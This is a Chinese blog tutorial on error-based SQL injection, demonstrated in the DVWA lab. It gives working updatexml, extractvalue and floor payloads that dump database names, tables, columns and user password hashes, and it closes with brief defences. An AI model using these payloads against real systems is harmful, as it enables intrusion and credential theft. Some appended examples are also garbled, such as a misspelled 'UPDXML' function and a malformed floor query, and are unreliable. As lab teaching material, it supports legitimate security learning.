SQL注入-报错注入

本文介绍了SQL报错注入的原理,即数据库执行语法错误时会显示报错信息,若页面返回报错且存在SQL注入,可采用报错注入。还列举了常用函数,详细说明了判断注入点、注入敏感数据、查询用户名、表名、字段名和数据的方法,指出使用报错注入无需担心字符限制。

SQL注入-报错注入

原理:

数据库在执行时,遇到语法不对,会显示报错信息,开发期间,为方便调试,通常会采用一些异常处理函数来捕获报错信息,如果页面会返回报错信息并存在SQL注入,可以采用报错注入。

常用函数

updatexml(a,b,c):三个参数,a:指定xml文件string类,b:xpath语法(如果报错则会显示xpath的值),c:要替换的字符串。

extractvalue(a,b,c):三个参数,a:指定xml文件string类,b:xpath语法(如果报错则会显示xpath的值),c:要替换的字符串,与上一个用法是一样的。

floor():函数的作用就是返回小于等于括号内该值的最大整数,用法payload:select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);,报错核心为floor(rand(0)*2)

count():聚合函数,返回查询对象的总数。

rand():随机函数,取0~1之间某值。

concat():将结果拼接成为一条字符串。

order by:按照查询结果分组。

判断注入点:

环境:dvwa等级:low

我们在输入框里输入1',发现反回报错信息。

image-20220815112849767

有报错信息我们就可以尝试报错注入,输入1' and bc() --+:注:这里的bc()函数什么也不是,目的就是让他爆出数据库没有此函数的错误。

image-20220815112912259

发现报错并显示出数据库名称。

报错注入敏感数据:

payload:?id=1’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+:两边的1为字符串,你可以写任何东西,只要他是字符串类型,0x7e为波浪号~目的为容易区分回显位置。

image-20220815121847812

可以查到数据库名为dvwa

查询用户名:

payload:?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+:

image-20220815122521450

得出用户名为root

以此类推:

查询表名:

payload:?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)) --+:

image-20220815122901186

得出表明为guestbookusers

查询字段名:

payload:?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1)) --+:

image-20220815123318232

这时我们发现,唉不对啊?查询出来的字段不够啊?那是因为使用updatexml()extractvalue()报错,只在页面显示32个字符串,所以我们需要对其进行截取。

payload:?id=1' and (updatexml(1,concat(0x7e,(select (substr((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),32,32))),0x7e),1)) --+

image-20220815124637619

由此我们得到了第32到第64个的字符,在以此类推,最后拼接出来就是要查的内容了。

查询数据:

也是一样的,payload:?id=1' and (updatexml(1,concat(0x7e,(select (substr((select group_concat(user,0x3a,password) from users limit 0,1),1,32))),0x7e),1)) --+:

image-20220815131519784

付:

使用floor()报错注入是不用担心字符限制问题的。

### SQL 注入中的报错注入实际操作方法 #### 背景介绍 报错注入(Error-Based SQL Injection)是一种通过触发数据库错误消息来提取数据的技术。这种方法通常用于无法直接从页面获取查询结果的情况下,例如 `INSERT`、`UPDATE` 或 `DELETE` 查询[^1]。 当应用程序未正确过滤输入并允许恶意字符串进入 SQL 查询时,攻击者可以通过构造特定的 SQL 语句引发异常,并利用这些异常信息推断出目标系统的内部结构和数据[^3]。 --- #### 常见工具和技术 以下是几种常用的函数和技术,在报错注入中被广泛使用: 1. **UPDATEXML()** - 函数描述:`UPDATEXML()` 是 MySQL 中的一个内置函数,可以解析 XML 数据树并更新节点值。 - 使用场景:如果传入非法路径或无效参数,它会抛出详细的错误信息,其中可能包含拼接的数据。 - 示例代码: ```sql ' AND (SELECT UPDXML(1, CONCAT(0x7e, (SELECT database())), 1)) # ``` 上述代码试图通过 `CONCAT` 将当前数据库名称附加到错误消息中[^4]。 2. **ExtractValue()** - 函数描述:类似于 `UPDATEXML()`,`ExtractValue()` 可以用来解析 XML 文档的内容。 - 错误触发机制:提供不合法的 XPath 表达式即可让其崩溃,并暴露部分数据。 - 示例代码: ```sql ' AND ExtractValue(1, CONCAT(0x7e, (SELECT user()))) # ``` 3. **FLOOR()** - 函数描述:`FLOOR()` 返回不大于给定数值的最大整数。 - 利用方式:结合随机化或其他复杂逻辑制造重复键冲突,从而导致错误输出。 - 示例代码: ```sql ' ORDER BY FLOOR(RAND(0)*2) GROUP BY id # ``` --- #### 实战案例分析 假设存在一个简单的登录验证接口 `/login?username=admin&password=pass`,并且后台执行如下查询: ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password'; ``` 此时,如果我们提交以下请求: ```http /login?username=k' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1)), 1)-- &password=any ``` 服务器可能会返回类似这样的错误响应: > XPATH syntax error: '~tablename' 这表明我们成功地从 `information_schema.tables` 获取到了第一个表的名字。 继续深入挖掘列名或者具体记录的过程也遵循相同原理——逐步嵌套子查询直到达到目的为止。 --- #### 防护措施建议 为了防止此类攻击发生,请务必采取以下预防手段之一或多条组合策略: - 对所有外部可控变量实施严格的白名单校验; - 启用预编译语句代替动态组装SQL串; - 关闭不必要的调试模式以及隐藏敏感堆栈跟踪详情; ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小洋葱头头

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值